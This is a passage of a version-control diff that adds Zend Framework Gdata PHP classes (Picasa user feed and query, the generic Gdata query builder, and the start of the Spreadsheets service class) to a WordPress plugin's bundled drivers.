+ * provided by the servers.
+ *
+ * For information on requesting this feed from a server, see the
+ * service class, Zend_Gdata_Photos.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_UserFeed extends Zend_Gdata_Feed
+{
+
+    /**
+     * gphoto:user element
+     *
+     * @var Zend_Gdata_Photos_Extension_User
+     */
+    protected $_gphotoUser = null;
+
+    /**
+     * gphoto:thumbnail element
+     *
+     * @var Zend_Gdata_Photos_Extension_Thumbnail
+     */
+    protected $_gphotoThumbnail = null;
+
+    /**
+     * gphoto:nickname element
+     *
+     * @var Zend_Gdata_Photos_Extension_Nickname
+     */
+    protected $_gphotoNickname = null;
+
+    protected $_entryClassName = 'Zend_Gdata_Photos_UserEntry';
+    protected $_feedClassName = 'Zend_Gdata_Photos_UserFeed';
+
+    protected $_entryKindClassMapping = array(
+        'http://schemas.google.com/photos/2007#album' => 'Zend_Gdata_Photos_AlbumEntry',
+        'http://schemas.google.com/photos/2007#photo' => 'Zend_Gdata_Photos_PhotoEntry',
+        'http://schemas.google.com/photos/2007#comment' => 'Zend_Gdata_Photos_CommentEntry',
+        'http://schemas.google.com/photos/2007#tag' => 'Zend_Gdata_Photos_TagEntry'
+    );
+
+    public function __construct($element = null)
+    {
+        $this->registerAllNamespaces(Zend_Gdata_Photos::$namespaces);
+        parent::__construct($element);
+    }
+
+    /**
+     * Creates individual Entry objects of the appropriate type and
+     * stores them in the $_entry array based upon DOM data.
+     *
+     * @param DOMNode $child The DOMNode to process
+     */
+    protected function takeChildFromDOM($child)
+    {
+        $absoluteNodeName = $child->namespaceURI . ':' . $child->localName;
+        switch ($absoluteNodeName) {
+            case $this->lookupNamespace('gphoto') . ':' . 'user';
+                $user = new Zend_Gdata_Photos_Extension_User();
+                $user->transferFromDOM($child);
+                $this->_gphotoUser = $user;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'nickname';
+                $nickname = new Zend_Gdata_Photos_Extension_Nickname();
+                $nickname->transferFromDOM($child);
+                $this->_gphotoNickname = $nickname;
+                break;
+            case $this->lookupNamespace('gphoto') . ':' . 'thumbnail';
+                $thumbnail = new Zend_Gdata_Photos_Extension_Thumbnail();
+                $thumbnail->transferFromDOM($child);
+                $this->_gphotoThumbnail = $thumbnail;
+                break;
+            case $this->lookupNamespace('atom') . ':' . 'entry':
+                $entryClassName = $this->_entryClassName;
+                $tmpEntry = new Zend_Gdata_App_Entry($child);
+                $categories = $tmpEntry->getCategory();
+                foreach ($categories as $category) {
+                    if ($category->scheme == Zend_Gdata_Photos::KIND_PATH &&
+                        $this->_entryKindClassMapping[$category->term] != "") {
+                            $entryClassName = $this->_entryKindClassMapping[$category->term];
+                            break;
+                    } else {
+                        require_once 'Zend/Gdata/App/Exception.php';
+                        throw new Zend_Gdata_App_Exception('Entry is missing kind declaration.');
+                    }
+                }
+
+                $newEntry = new $entryClassName($child);
+                $newEntry->setHttpClient($this->getHttpClient());
+                $this->_entry[] = $newEntry;
+                break;
+            default:
+                parent::takeChildFromDOM($child);
+                break;
+        }
+    }
+
+    public function getDOM($doc = null, $majorVersion = 1, $minorVersion = null)
+    {
+        $element = parent::getDOM($doc, $majorVersion, $minorVersion);
+        if ($this->_gphotoUser != null) {
+            $element->appendChild($this->_gphotoUser->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoNickname != null) {
+            $element->appendChild($this->_gphotoNickname->getDOM($element->ownerDocument));
+        }
+        if ($this->_gphotoThumbnail != null) {
+            $element->appendChild($this->_gphotoThumbnail->getDOM($element->ownerDocument));
+        }
+
+        return $element;
+    }
+
+    /**
+     * Get the value for this element's gphoto:user attribute.
+     *
+     * @see setGphotoUser
+     * @return string The requested attribute.
+     */
+    public function getGphotoUser()
+    {
+        return $this->_gphotoUser;
+    }
+
+    /**
+     * Set the value for this element's gphoto:user attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_User The element being modified.
+     */
+    public function setGphotoUser($value)
+    {
+        $this->_gphotoUser = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:nickname attribute.
+     *
+     * @see setGphotoNickname
+     * @return string The requested attribute.
+     */
+    public function getGphotoNickname()
+    {
+        return $this->_gphotoNickname;
+    }
+
+    /**
+     * Set the value for this element's gphoto:nickname attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Nickname The element being modified.
+     */
+    public function setGphotoNickname($value)
+    {
+        $this->_gphotoNickname = $value;
+        return $this;
+    }
+
+    /**
+     * Get the value for this element's gphoto:thumbnail attribute.
+     *
+     * @see setGphotoThumbnail
+     * @return string The requested attribute.
+     */
+    public function getGphotoThumbnail()
+    {
+        return $this->_gphotoThumbnail;
+    }
+
+    /**
+     * Set the value for this element's gphoto:thumbnail attribute.
+     *
+     * @param string $value The desired value for this attribute.
+     * @return Zend_Gdata_Photos_Extension_Thumbnail The element being modified.
+     */
+    public function setGphotoThumbnail($value)
+    {
+        $this->_gphotoThumbnail = $value;
+        return $this;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/UserQuery.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/UserQuery.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Photos/UserQuery.php	(revision 44)
@@ -0,0 +1,354 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * @see Zend_Gdata_Gapps_Query
+ */
+require_once('Zend/Gdata/Gapps/Query.php');
+
+/**
+ * Assists in constructing queries for user entries.
+ * Instances of this class can be provided in many places where a URL is
+ * required.
+ *
+ * For information on submitting queries to a server, see the
+ * service class, Zend_Gdata_Photos.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Photos
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Photos_UserQuery extends Zend_Gdata_Query
+{
+
+    /**
+     * Indicates the format of data returned in Atom feeds. Can be either
+     * 'api' or 'base'. Default value is 'api'.
+     *
+     * @var string
+     */
+    protected $_projection = 'api';
+    
+    /**
+     * Indicates whether to request a feed or entry in queries. Default
+     * value is 'feed';
+     *
+     * @var string
+     */
+    protected $_type = 'feed';
+    
+    /**
+     * A string which, if not null, indicates which user should
+     * be retrieved by this query. If null, the default user will be used
+     * instead.
+     *
+     * @var string
+     */
+    protected $_user = Zend_Gdata_Photos::DEFAULT_USER;
+    
+    /**
+     * Create a new Query object with default values.
+     */
+    public function __construct()
+    {
+        parent::__construct();
+    }
+    
+    /**
+     * Set's the format of data returned in Atom feeds. Can be either 
+     * 'api' or 'base'. Normally, 'api' will be desired. Default is 'api'.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Photos_UserQuery Provides a fluent interface
+     */
+    public function setProjection($value)
+    {
+        $this->_projection = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the format of data in returned in Atom feeds.
+     *
+     * @see setProjection
+     * @return string projection
+     */
+    public function getProjection()
+    {
+        return $this->_projection;
+    }
+    
+    /**
+     * Set's the type of data returned in queries. Can be either 
+     * 'feed' or 'entry'. Normally, 'feed' will be desired. Default is 'feed'.
+     *
+     * @param string $value
+     * @return Zend_Gdata_Photos_UserQuery Provides a fluent interface
+     */
+    public function setType($value)
+    {
+        $this->_type = $value;
+        return $this;
+    }
+
+    /**
+     * Gets the type of data in returned in queries.
+     *
+     * @see setType
+     * @return string type
+     */
+    public function getType()
+    {
+        return $this->_type;
+    }
+
+    /**
+     * Set the user to query for. When set, this user's feed will be
+     * returned. If not set or null, the default user's feed will be returned
+     * instead.
+     *
+     * @param string $value The user to retrieve, or null for the default
+     *          user.
+     */
+     public function setUser($value)
+     {
+         if ($value !== null) {
+             $this->_user = $value;
+         } else {
+             $this->_user = Zend_Gdata_Photos::DEFAULT_USER;
+         }
+     }
+
+    /**
+     * Get the user which is to be returned.
+     *
+     * @see setUser
+     * @return string The visibility to retrieve.
+     */
+    public function getUser()
+    {
+        return $this->_user;
+    }
+
+    /**
+     * Set the visibility filter for entries returned. Only entries which 
+     * match this value will be returned. If null or unset, the default 
+     * value will be used instead.
+     * 
+     * Valid values are 'all' (default), 'public', and 'private'. 
+     *
+     * @param string $value The visibility to filter by, or null to use the 
+     *          default value.
+     */
+     public function setAccess($value)
+     {
+         if ($value !== null) {
+             $this->_params['access'] = $value;
+         } else {
+             unset($this->_params['access']);
+         }
+     }
+
+    /**
+     * Get the visibility filter for entries returned.
+     *
+     * @see setAccess
+     * @return string The visibility to filter by, or null for the default
+     *          user.
+     */
+    public function getAccess()
+    {
+        return $this->_params['access'];
+    }
+
+    /**
+     * Set the tag for entries that are returned. Only entries which 
+     * match this value will be returned. If null or unset, this filter will
+     * not be applied.
+     * 
+     * See http://code.google.com/apis/picasaweb/reference.html#Parameters
+     * for a list of valid values.
+     *
+     * @param string $value The tag to filter by, or null if no
+     *          filter is to be applied.
+     */
+     public function setTag($value)
+     {
+         if ($value !== null) {
+             $this->_params['tag'] = $value;
+         } else {
+             unset($this->_params['tag']);
+         }
+     }
+
+    /**
+     * Get the tag filter for entries returned.
+     *
+     * @see setTag
+     * @return string The tag to filter by, or null if no filter
+     *          is to be applied.
+     */
+    public function getTag()
+    {
+        return $this->_params['tag'];
+    }
+    
+    /**
+     * Set the kind of entries that are returned. Only entries which 
+     * match this value will be returned. If null or unset, this filter will
+     * not be applied.
+     * 
+     * See http://code.google.com/apis/picasaweb/reference.html#Parameters
+     * for a list of valid values.
+     *
+     * @param string $value The kind to filter by, or null if no
+     *          filter is to be applied.
+     */
+     public function setKind($value)
+     {
+         if ($value !== null) {
+             $this->_params['kind'] = $value;
+         } else {
+             unset($this->_params['kind']);
+         }
+     }
+
+    /**
+     * Get the kind of entries to be returned.
+     *
+     * @see setKind
+     * @return string The kind to filter by, or null if no filter
+     *          is to be applied.
+     */
+    public function getKind()
+    {
+        return $this->_params['kind'];
+    }
+    
+    /**
+     * Set the maximum image size for entries returned. Only entries which 
+     * match this value will be returned. If null or unset, this filter will
+     * not be applied.
+     * 
+     * See http://code.google.com/apis/picasaweb/reference.html#Parameters
+     * for a list of valid values.
+     *
+     * @param string $value The image size to filter by, or null if no
+     *          filter is to be applied.
+     */
+     public function setImgMax($value)
+     {
+         if ($value !== null) {
+             $this->_params['imgmax'] = $value;
+         } else {
+             unset($this->_params['imgmax']);
+         }
+     }
+
+    /**
+     * Get the maximum image size filter for entries returned.
+     *
+     * @see setImgMax
+     * @return string The image size size to filter by, or null if no filter
+     *          is to be applied.
+     */
+    public function getImgMax()
+    {
+        return $this->_params['imgmax'];
+    }
+    
+    /**
+     * Set the thumbnail size filter for entries returned. Only entries which 
+     * match this value will be returned. If null or unset, this filter will
+     * not be applied.
+     * 
+     * See http://code.google.com/apis/picasaweb/reference.html#Parameters
+     * for a list of valid values.
+     *
+     * @param string $value The thumbnail size to filter by, or null if no
+     *          filter is to be applied.
+     */
+     public function setThumbsize($value)
+     {
+         if ($value !== null) {
+             $this->_params['thumbsize'] = $value;
+         } else {
+             unset($this->_params['thumbsize']);
+         }
+     }
+
+    /**
+     * Get the thumbnail size filter for entries returned.
+     *
+     * @see setThumbsize
+     * @return string The thumbnail size to filter by, or null if no filter
+     *          is to be applied.
+     */
+    public function getThumbsize()
+    {
+        return $this->_params['thumbsize'];
+    }
+    
+    /**
+     * Returns the URL generated for this query, based on it's current
+     * parameters.
+     *
+     * @return string A URL generated based on the state of this query.
+     * @throws Zend_Gdata_App_InvalidArgumentException
+     */
+    public function getQueryUrl($incomingUri = null)
+    {
+        $uri = Zend_Gdata_Photos::PICASA_BASE_URI;
+        
+        if ($this->getType() !== null) {
+            $uri .= '/' . $this->getType();
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Type must be feed or entry, not null');
+        }
+        
+        if ($this->getProjection() !== null) {
+            $uri .= '/' . $this->getProjection();
+        } else {
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'Projection must not be null');
+        }
+        
+        if ($this->getUser() !== null) {
+            $uri .= '/user/' . $this->getUser();
+        } else {
+            // Should never occur due to setter behavior
+            require_once 'Zend/Gdata/App/InvalidArgumentException.php';
+            throw new Zend_Gdata_App_InvalidArgumentException(
+                    'User must not be null');
+        }
+        
+        $uri .= $incomingUri;
+        $uri .= $this->getQueryString();
+        return $uri;
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Query.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Query.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Query.php	(revision 44)
@@ -0,0 +1,417 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata_App_Util
+ */
+require_once 'Zend/Gdata/App/Util.php';
+
+/**
+ * Provides a mechanism to build a query URL for Gdata services.
+ * Queries are not defined for APP, but are provided by Gdata services
+ * as an extension.
+ *
+ * @category   Zend
+ * @package    Zend_Gdata
+ * @subpackage Gdata
+ * @copyright  Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Query
+{
+
+    /**
+     * Query parameters.
+     *
+     * @var array
+     */
+    protected $_params = array();
+
+    /**
+     * Default URL
+     *
+     * @var string
+     */
+    protected $_defaultFeedUri = null;
+
+    /**
+     * Base URL
+     * TODO: Add setters and getters
+     *
+     * @var string
+     */
+    protected $_url = null;
+
+    /**
+     * Category for the query
+     *
+     * @var string
+     */
+    protected $_category = null;
+
+    /**
+     * Create Gdata_Query object
+     */
+    public function __construct($url = null)
+    {
+        $this->_url = $url;
+    }
+
+    /**
+     * @return string querystring
+     */
+    public function getQueryString()
+    {
+        $queryArray = array();
+        foreach ($this->_params as $name => $value) {
+            if (substr($name, 0, 1) == '_') {
+                continue;
+            }
+            $queryArray[] = urlencode($name) . '=' . urlencode($value);
+        }
+        if (count($queryArray) > 0) {
+            return '?' . implode('&', $queryArray);
+        } else {
+            return '';
+        }
+    }
+
+    /**
+     *
+     */
+    public function resetParameters()
+    {
+        $this->_params = array();
+    }
+
+    /**
+     * @return string url
+     */
+    public function getQueryUrl()
+    {
+        if ($this->_url == null) {
+            $url = $this->_defaultFeedUri;
+        } else {
+            $url = $this->_url;
+        }
+        if ($this->getCategory() !== null) {
+            $url .= '/-/' . $this->getCategory();
+        }
+        $url .= $this->getQueryString();
+        return $url;
+    }
+
+    /**
+     * @param string $name
+     * @param string $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setParam($name, $value)
+    {
+        $this->_params[$name] = $value;
+        return $this;
+    }
+
+    /**
+     * @param string $name
+     */
+    public function getParam($name)
+    {
+        return $this->_params[$name];
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setAlt($value)
+    {
+        if ($value != null) {
+            $this->_params['alt'] = $value;
+        } else {
+            unset($this->_params['alt']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param int $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setMaxResults($value)
+    {
+        if ($value != null) {
+            $this->_params['max-results'] = $value;
+        } else {
+            unset($this->_params['max-results']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setQuery($value)
+    {
+        if ($value != null) {
+            $this->_params['q'] = $value;
+        } else {
+            unset($this->_params['q']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param int $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setStartIndex($value)
+    {
+        if ($value != null) {
+            $this->_params['start-index'] = $value;
+        } else {
+            unset($this->_params['start-index']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setUpdatedMax($value)
+    {
+        if ($value != null) {
+            $this->_params['updated-max'] = Zend_Gdata_App_Util::formatTimestamp($value);
+        } else {
+            unset($this->_params['updated-max']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setUpdatedMin($value)
+    {
+        if ($value != null) {
+            $this->_params['updated-min'] = Zend_Gdata_App_Util::formatTimestamp($value);
+        } else {
+            unset($this->_params['updated-min']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setPublishedMax($value)
+    {
+        if ($value !== null) {
+            $this->_params['published-max'] = Zend_Gdata_App_Util::formatTimestamp($value);
+        } else {
+            unset($this->_params['published-max']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setPublishedMin($value)
+    {
+        if ($value != null) {
+            $this->_params['published-min'] = Zend_Gdata_App_Util::formatTimestamp($value);
+        } else {
+            unset($this->_params['published-min']);
+        }
+        return $this;
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setAuthor($value)
+    {
+        if ($value != null) {
+            $this->_params['author'] = $value;
+        } else {
+            unset($this->_params['author']);
+        }
+        return $this;
+    }
+
+    /**
+     * @return string rss or atom
+     */
+    public function getAlt()
+    {
+        if (array_key_exists('alt', $this->_params)) {
+            return $this->_params['alt'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return int maxResults
+     */
+    public function getMaxResults()
+    {
+        if (array_key_exists('max-results', $this->_params)) {
+            return intval($this->_params['max-results']);
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string query
+     */
+    public function getQuery()
+    {
+        if (array_key_exists('q', $this->_params)) {
+            return $this->_params['q'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return int startIndex
+     */
+    public function getStartIndex()
+    {
+        if (array_key_exists('start-index', $this->_params)) {
+            return intval($this->_params['start-index']);
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string updatedMax
+     */
+    public function getUpdatedMax()
+    {
+        if (array_key_exists('updated-max', $this->_params)) {
+            return $this->_params['updated-max'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string updatedMin
+     */
+    public function getUpdatedMin()
+    {
+        if (array_key_exists('updated-min', $this->_params)) {
+            return $this->_params['updated-min'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string publishedMax
+     */
+    public function getPublishedMax()
+    {
+        if (array_key_exists('published-max', $this->_params)) {
+            return $this->_params['published-max'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string publishedMin
+     */
+    public function getPublishedMin()
+    {
+        if (array_key_exists('published-min', $this->_params)) {
+            return $this->_params['published-min'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @return string author
+     */
+    public function getAuthor()
+    {
+        if (array_key_exists('author', $this->_params)) {
+            return $this->_params['author'];
+        } else {
+            return null;
+        }
+    }
+
+    /**
+     * @param string $value
+     * @return Zend_Gdata_Query Provides a fluent interface
+     */
+    public function setCategory($value)
+    {
+        $this->_category = $value;
+        return $this;
+    }
+
+    /*
+     * @return string id
+     */
+    public function getCategory()
+    {
+        return $this->_category;
+    }
+
+
+    public function __get($name)
+    {
+        $method = 'get'.ucfirst($name);
+        if (method_exists($this, $method)) {
+            return call_user_func(array(&$this, $method));
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception('Property ' . $name . '  does not exist');
+        }
+    }
+
+    public function __set($name, $val)
+    {
+        $method = 'set'.ucfirst($name);
+        if (method_exists($this, $method)) {
+            return call_user_func(array(&$this, $method), $val);
+        } else {
+            require_once 'Zend/Gdata/App/Exception.php';
+            throw new Zend_Gdata_App_Exception('Property ' . $name . '  does not exist');
+        }
+    }
+
+}
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/webtv/Drivers/Zend/Gdata/Spreadsheets.php	(revision 44)
@@ -0,0 +1,444 @@
+<?php
+
+/**
+ * Zend Framework
+ *
+ * LICENSE
+ *
+ * This source file is subject to the new BSD license that is bundled
+ * with this package in the file LICENSE.txt.
+ * It is also available through the world-wide-web at this URL:
+ * http://framework.zend.com/license/new-bsd
+ * If you did not receive a copy of the license and are unable to
+ * obtain it through the world-wide-web, please send an email
+ * to license@zend.com so we can send you a copy immediately.
+ *
+ * @category     Zend
+ * @package      Zend_Gdata
+ * @subpackage   Spreadsheets
+ * @copyright    Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+
+/**
+ * Zend_Gdata
+ */
+require_once('Zend/Gdata.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_SpreadsheetFeed
+ */
+require_once('Zend/Gdata/Spreadsheets/SpreadsheetFeed.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_WorksheetFeed
+ */
+require_once('Zend/Gdata/Spreadsheets/WorksheetFeed.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_CellFeed
+ */
+require_once('Zend/Gdata/Spreadsheets/CellFeed.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_ListFeed
+ */
+require_once('Zend/Gdata/Spreadsheets/ListFeed.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_SpreadsheetEntry
+ */
+require_once('Zend/Gdata/Spreadsheets/SpreadsheetEntry.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_WorksheetEntry
+ */
+require_once('Zend/Gdata/Spreadsheets/WorksheetEntry.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_CellEntry
+ */
+require_once('Zend/Gdata/Spreadsheets/CellEntry.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_ListEntry
+ */
+require_once('Zend/Gdata/Spreadsheets/ListEntry.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_DocumentQuery
+ */
+require_once('Zend/Gdata/Spreadsheets/DocumentQuery.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_ListQuery
+ */
+require_once('Zend/Gdata/Spreadsheets/ListQuery.php');
+
+/**
+ * Zend_Gdata_Spreadsheets_CellQuery
+ */
+require_once('Zend/Gdata/Spreadsheets/CellQuery.php');
+
+/**
+ * Gdata Spreadsheets
+ *
+ * @link http://code.google.com/apis/gdata/spreadsheets.html
+ *
+ * @category     Zend
+ * @package      Zend_Gdata
+ * @subpackage   Spreadsheets
+ * @copyright    Copyright (c) 2005-2008 Zend Technologies USA Inc. (http://www.zend.com)
+ * @license    http://framework.zend.com/license/new-bsd     New BSD License
+ */
+class Zend_Gdata_Spreadsheets extends Zend_Gdata
+{
+    const SPREADSHEETS_FEED_URI = 'http://spreadsheets.google.com/feeds/spreadsheets';
+    const SPREADSHEETS_POST_URI = 'http://spreadsheets.google.com/feeds/spreadsheets/private/full';
+    const WORKSHEETS_FEED_LINK_URI = 'http://schemas.google.com/spreadsheets/2006#worksheetsfeed';
+    const LIST_FEED_LINK_URI = 'http://schemas.google.com/spreadsheets/2006#listfeed';
+    const CELL_FEED_LINK_URI = 'http://schemas.google.com/spreadsheets/2006#cellsfeed';
+    const AUTH_SERVICE_NAME = 'wise';
+
+    /**
+     * Namespaces used for Zend_Gdata_Photos
+     *
+     * @var array
+     */
+    public static $namespaces = array(
+        array('gs', 'http://schemas.google.com/spreadsheets/2006', 1, 0),
+        array(
+            'gsx', 'http://schemas.google.com/spreadsheets/2006/extended', 1, 0)
+    );
+
+    /**
+     * Create Gdata_Spreadsheets object
+     *
+     * @param Zend_Http_Client $client (optional) The HTTP client to use when
+     *          when communicating with the Google servers.
+     * @param string $applicationId The identity of the app in the form of Company-AppName-Version
+     */
+    public function __construct($client = null, $applicationId = 'MyCompany-MyApp-1.0')
+    {
+        $this->registerPackage('Zend_Gdata_Spreadsheets');
+        $this->registerPackage('Zend_Gdata_Spreadsheets_Extension');
+        parent::__construct($client, $applicationId);
+        $this->_httpClient->setParameterPost('service', self::AUTH_SERVICE_NAME);
+        $this->_server = 'spreadsheets.google.com';
+    }
+
+    /**
+     * Gets a spreadsheet feed.
+     *
+     * @param mixed $location A DocumentQuery or a string URI specifying the feed location.
+     * @return Zend_Gdata_Spreadsheets_SpreadsheetFeed
+     */
+    public function getSpreadsheetFeed($location = null)
+    {
+        if ($location == null) {
+            $uri = self::SPREADSHEETS_FEED_URI;
+        } else if ($location instanceof Zend_Gdata_Spreadsheets_DocumentQuery) {
+            if ($location->getDocumentType() == null) {
+                $location->setDocumentType('spreadsheets');
+            }
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+
+        return parent::getFeed($uri, 'Zend_Gdata_Spreadsheets_SpreadsheetFeed');
+    }
+
+    /**
+     * Gets a spreadsheet entry.
+     *
+     * @param string $location A DocumentQuery or a URI specifying the entry location.
+     * @return SpreadsheetEntry
+     */
+    public function getSpreadsheetEntry($location)
+    {
+        if ($location instanceof Zend_Gdata_Spreadsheets_DocumentQuery) {
+            if ($location->getDocumentType() == null) {
+                $location->setDocumentType('spreadsheets');
+            }
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+
+        return parent::getEntry($uri, 'Zend_Gdata_Spreadsheets_SpreadsheetEntry');
+    }
+
+    /**
+     * Gets a worksheet feed.
+     *
+     * @param mixed $location A DocumentQuery, SpreadsheetEntry, or a string URI
+     * @return Zend_Gdata_Spreadsheets_WorksheetFeed The feed of worksheets
+     */
+    public function getWorksheetFeed($location)
+    {
+        if ($location instanceof Zend_Gdata_Spreadsheets_DocumentQuery) {
+            if ($location->getDocumentType() == null) {
+                $location->setDocumentType('worksheets');
+            }
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Spreadsheets_SpreadsheetEntry) {
+            $uri = $location->getLink(self::WORKSHEETS_FEED_LINK_URI)->href;
+        } else {
+            $uri = $location;
+        }
+
+        return parent::getFeed($uri, 'Zend_Gdata_Spreadsheets_WorksheetFeed');
+    }
+
+    /**
+     * Gets a worksheet entry.
+     *
+     * @param string $location A DocumentQuery or a URI specifying the entry location.
+     * @return WorksheetEntry
+     */
+    public function GetWorksheetEntry($location)
+    {
+        if ($location instanceof Zend_Gdata_Spreadsheets_DocumentQuery) {
+            if ($location->getDocumentType() == null) {
+                $location->setDocumentType('worksheets');
+            }
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+
+        return parent::getEntry($uri, 'Zend_Gdata_Spreadsheets_WorksheetEntry');
+    }
+
+    /**
+     * Gets a cell feed.
+     *
+     * @param string $location A CellQuery, WorksheetEntry or a URI specifying the feed location.
+     * @return CellFeed
+     */
+    public function getCellFeed($location)
+    {
+        if ($location instanceof Zend_Gdata_Spreadsheets_CellQuery) {
+            $uri = $location->getQueryUrl();
+        } else if ($location instanceof Zend_Gdata_Spreadsheets_WorksheetEntry) {
+            $uri = $location->getLink(self::CELL_FEED_LINK_URI)->href;
+        } else {
+            $uri = $location;
+        }
+        return parent::getFeed($uri, 'Zend_Gdata_Spreadsheets_CellFeed');
+    }
+
+    /**
+     * Gets a cell entry.
+     *
+     * @param string $location A CellQuery or a URI specifying the entry location.
+     * @return CellEntry
+     */
+    public function getCellEntry($location)
+    {
+        if ($location instanceof Zend_Gdata_Spreadsheets_CellQuery) {
+            $uri = $location->getQueryUrl();
+        } else {
+            $uri = $location;
+        }
+
+        return parent::getEntry($uri, 'Zend_Gdata_Spreadsheets_CellEntry');
+    }
+
+    /**
+     * Gets a list feed.
+     *
+     * @param mixed $location A ListQuery, WorksheetEntry or string URI specifying the feed location.
+     * @return ListFeed
+     */
+    public function getListFeed($location)
+    {
+        if ($location instanceof Zend_Gdata_Spreadsheets_ListQuery) {
